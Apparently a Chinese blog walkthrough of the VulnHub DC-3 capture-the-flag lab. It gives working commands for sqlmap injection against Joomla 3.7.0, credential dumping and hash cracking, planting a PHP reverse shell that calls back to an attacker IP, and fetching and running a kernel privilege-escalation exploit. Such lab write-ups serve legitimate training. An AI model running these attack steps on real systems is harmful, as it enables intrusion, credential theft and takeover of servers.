当前位置: 首页 > article >正文

靶机系列|VULNHUB|DC-3

描述

DC-3 是另一个专门建造的易受攻击实验室,旨在获得渗透测试领域的经验。

与之前的 DC 版本一样,这个版本的设计考虑到了初学者,尽管这一次只有一个标志、一个入口点,根本没有线索。

必须具备 Linux 技能和熟悉 Linux 命令行,以及具备一些基本渗透测试工具的经验。

对于初学者,Google 可以提供很大的帮助,但您可以随时在 @DCAU7 上向我发送电子邮件以寻求帮助,让您重新开始。但请注意:我不会给你答案,相反,我会给你一个关于如何前进的想法。

对于那些有 CTF 和 Boot2Root 挑战经验的人来说,这可能根本不会花你很长时间(事实上,你可以轻松地用不到 20 分钟)。

如果是这样的话,并且您希望它更具挑战性,您可以随时重做挑战并探索其他获得root和获得旗帜的方法。

Tips

如果你在导入时,出现了如下图所示错误

image.png

可以进入VMware虚拟机的设置中,选中CD/DVD栏的高级

image.png

在高级中,将IDEIDE 0:1换成IDE 0:0即可正常开机

image.png

下载链接

https://download.vulnhub.com/dc/DC-3-2.zip

https://pan.baidu.com/s/1nzEggtJOkAiXlaI5n_mWpA?pwd=wh9x

攻击流程

第一步,扫描局域网内的主机,确定靶机ip

sudo arp-scan -l
image.png

根据扫描结果可知,192.168.64.1192.168.64.2都是网关地址,而192.168.64.254是广播地址,所以靶机IP是192.168.64.138

arp-scan -l 命令是用来进行局域网内ARP扫描的一个参数配置,命令中的 -l 参数意味着以“长格式”(long format)输出扫描结果。这种格式通常提供更详细的信息,比如设备的MAC地址、IP地址、厂商信息(根据MAC地址前缀推断出的设备制造商)等。

对靶机ip进行全端口扫描

nmap -p- 192.168.64.138
image.png

发现80端口开放,用whatweb收集一下网站信息

whatweb -v 192.168.64.128
image.png

通过扫描,识别到了CMS信息,是Joomla,也是一个比较知名的框架,和WorldPress一样,Joomla也有对应的扫描工具,是joomscan,这个工具并未预装在kali中,所以需要手动安装一下

sudo apt-get install joomscan -y

安装完成之后,即可开始扫描

joomscan -u http://192.168.64.128
image.png

通过扫描,获得了两个比较有效的信息,第一个是版本信息,Joomla 3.7.0,后续可以针对版本搜索漏洞进行攻击;第二个是管理员页面,也就是网站后台的登陆页面,可以去做类似于SQL注入、弱口令之类的尝试。

利用工具搜索Joomla 3.7.0版本的漏洞

searchsploit joomla 3.7.0
image.png

搜索到两个,但明显第一个匹配的关键词更多,查看一下搜索到的文档

searchsploit -p 42033.txt
image.png

获得了文档的详细路径,用记事本打开

image.png

可以看到一个SQL注入的payload

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

这条命令使用了 sqlmap 工具,它是一个自动化的 SQL 注入和数据库接管工具,用于测试 Web 应用的安全漏洞。下面是这条命令的详细解释:

  • sqlmap:这是命令行工具的名称,用于执行 SQL 注入测试。

  • -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml":这个参数指定了要测试的目标 URL。

  • list[fullordering]=updatexml 部分看起来是尝试利用 SQL 注入的点。通常,这种参数名(如 list[fullordering])可能暗示了某种排序功能

  • updatexml 可能是在尝试利用特定的 SQL 函数来触发错误,从而泄露数据库信息。

  • --risk=3:这个参数设置了测试的风险等级。sqlmap 的风险等级从 1 到 3,等级越高,工具尝试的注入技术越危险,可能会导致目标系统的不稳定或数据损坏。等级 3 表示将尝试所有可能的技术,包括那些可能导致服务拒绝的技术。

  • --level=5:这个参数设置了测试的深度或详尽程度。sqlmap 的测试级别从 1 到 5,级别越高,工具执行的测试越全面,包括更多的请求和更深入的探测。级别 5 表示执行最全面的测试。

  • --random-agent:这个参数指示 sqlmap 在每个请求中使用随机的 HTTP 用户代理(User-Agent)字符串。这有助于避免因为使用相同的用户代理而被目标系统的防火墙或入侵检测系统(IDS)识别出来。

  • --dbs:这个参数告诉 sqlmap 枚举目标数据库的所有数据库名称。

  • -p list[fullordering]:这个参数指定了要测试的参数名。在这个例子中,它告诉 sqlmap 只对 list[fullordering] 这个参数进行 SQL 注入测试。

需要注意的是,如果这条命令的执行环境不是/bin/bash的话,可能会报错

image.png

这个时候只需要通过命令bash切换一下命令执行环境即可解决报错。

image.png

成功爆出库名

image.png

下一步爆表名

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb --tables
image.png

下一步查看"#__users"表里的列

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' --columns 

在爆列名的时候,有一点要注意,当出现do you want to use common column existence check?时,需要输入y,而不是敲回车。

image.png

在敲完回车之后,出现的选项,可以任选

image.png

一般选择default选项即可,选择完成之后,提示可以填入线程数,这里我直接回车,用默认的单线程跑了。

成功拿到列名

image.png

继续深入,查看usernamepassword的相关信息

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent  -p list[fullordering] -D joomladb -T '#__users' -C username,password --dump
image.png

查询到了用户名和密码,但是密码显然是被哈希加密了,用爆破工具john试试运气。

首先将这一段字符串复制到文件中

image.png

然后利用john工具爆破密码,通过--show参数,直接显示爆破出的密码

image.png

如此一来,就拿到了管理员的用户名和密码了

admin
snoopy

结合之前扫描到的管理员登录页面http://192.168.64.128/administrator/,直接登录。

登录成功之后,发现一个上传点

image.png image.png

在这个模板下,创建一个php文件,用以反弹shell

image.png

直接使用kali自带的php的webshell代码进行反弹shell的操作,源码路径是

/usr/share/webshells/php/php-reverse-shell.php

需要修改一下监听的IP

$IP = '192.168.64.129'; //攻击机的ip
$PORT = 12345; //监听的端口

修改完成之后,将源码全部复制到之前创建的php文件中保存。

image.png

保存好代码之后,还需要访问一下php文件,访问路径的构成是这样的:

  1. joomla的模板库默认在/templates目录下;
  2. 当前模板名字为beez3
  3. 脚本文件保存至html目录下
  4. 脚本文件名字为shell.php

所以,最终拼出来的路径为

http://192.168.64.128/templates/beez3/html/shell.php
image.png

在访问文件之前,kali开启监听

image.png

成功上线

image.png

创建一个交互式的shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

这条命令是在Python环境中使用的一个技巧,用于启动一个伪终端(pseudo-terminal),并在这个伪终端中运行bash shell。这个技巧通常用于在受限的环境中获取一个更完整的命令行界面,尤其是在某些类型的服务器或者容器环境中,当你可能只有Python解释器可用时。下面是对这个命令的详细解释:

  • python3 -c:这部分告诉系统使用Python 3执行接下来的字符串中的Python代码。-c选项允许你直接在命令行中运行Python代码,而不是运行一个Python脚本文件。

  • import pty:这行代码导入了Python的pty模块。pty模块提供了对伪终端的支持,允许你创建一个伪终端对(master和slave),这可以用于实现终端仿真。

  • pty.spawn("/bin/bash"):这行代码使用pty模块的spawn函数启动了一个新的进程,这个进程运行/bin/bash,即Bash shell。spawn函数会创建一个伪终端对,并将子进程的标准输入、输出和错误输出连接到伪终端的slave端,而master端则连接到当前进程(即运行这个Python命令的进程)。这样,你就可以通过当前进程的输入输出与Bash shell交互了。

查看系统信息,为提权做准备

image.png

通过searchsploit搜索Ubuntu 16.04相关的提权漏洞

searchsploit ubuntu 16.04 Privilege Escalation

“Privilege Escalation”的翻译为“权限提升”或“提权”

image.png

选择用4.4.x尝试一下,首先查看一下这个文件的位置

searchsploit -p 39772.txt
image.png

然后打开这个文件,可以获取到exp的下载地址

image.png
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip

kali通过wget可以下载

wget https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/39772.zip
image.png

下载完成之后,kali通过python开启网络服务

python3 -m http.server

在Python 3中,python3 -m http.server命令用于快速启动一个简单的HTTP服务器,该服务器可以用来共享文件或者进行简单的web开发测试。这个命令实际上是在调用Python标准库中的http.server模块来创建一个HTTP服务器。

当你运行python3 -m http.server时,默认情况下,服务器会在当前目录下启动,并监听所有可用的网络接口上的8000端口。你可以通过浏览器访问http://<your-ip>:8000来查看当前目录下的文件和文件夹(以网页形式展示)

这个命令还有一些可选参数:

  • port(或p):指定服务器监听的端口号。例如,python3 -m http.server 8080会在8080端口上启动服务器。
  • directory(或d):指定服务器要服务的根目录。如果不指定,默认为当前工作目录。
image.png

记住这个路径,靶机需要通过这个路径下载提权文件

http://192.168.64.129:8000/39772/exploit.tar

靶机想下载文件,需要切换到一个可写入的目录,例如之前写入webshell的目录

/var/www/html/templates/beez3

切换到这个目录下,通过命令下载

cd /var/www/html/templates/beez3
wget http://192.168.64.129:8000/39772/exploit.tar
image.png

下载完毕,解压

tar -xvf exploit.tar
image.png

切换到目录下,执行脚本

脚本执行的顺序在39772.txt文件中有说明

image.png
user@host:~/ebpf_mapfd_doubleput$ ./compile.sh
user@host:~/ebpf_mapfd_doubleput$ ./doubleput
starting writev
woohoo, got pointer reuse
writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.
suid file detected, launching rootshell...
we have root privs now...
root@host:~/ebpf_mapfd_doubleput# id
uid=0(root) gid=0(root) groups=0(root),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare),999(vboxsf),1000(user)
image.png

提权成功

image.png

拿到flag,打完收工!!!


http://www.kler.cn/a/465628.html

相关文章:

  • Nginx代理本地exe服务http为https
  • 代码随想录算法训练营第二十四天-回溯算法-90. 子集II
  • Redis的缓存雪崩,缓存击穿,缓存穿透
  • Scala_【4】流程控制
  • Vulnhub靶场(Earth)
  • vite-plugin-imagemin安装问题
  • grouped = df.drop(‘name‘, axis=1).groupby(‘team‘)
  • websocket-sharp:.NET平台上的WebSocket客户端与服务器开源库
  • 医学图像分析工具01:FreeSurfer || Recon -all 全流程MRI皮质表面重建
  • 在Windows计算机上打开 HEIC 文件的 6 种有效方法
  • Servlet中映射与部署
  • 形态学:图像处理中的强大工具
  • 数据分析思维(六):分析方法——相关分析方法
  • 关系分类(RC)模型和关系抽取(RE)模型的区别
  • ros2 py文件间函数调用
  • 【vLLM 学习】欢迎来到 vLLM!
  • 使用C#构建一个论文总结AI Agent
  • ImageNet 2.0?自动驾驶数据集迎来自动标注新时代
  • 知识库召回列表模式揭秘:实现智能信息检索新突破
  • 牛客网刷题 ——C语言初阶——JZ15 二进制中1的个数
  • 服务器数据恢复—服务器硬盘亮黄灯的数据恢复案例
  • 在CE自动汇编里调用lua函数
  • 关于大一上的总结
  • Java实现UDP与TCP应用程序
  • python+PyMuPDF库:(三)pdf文件的选择性合并、其他格式文件转pdf
  • React Class 组件与函数组件全方位对比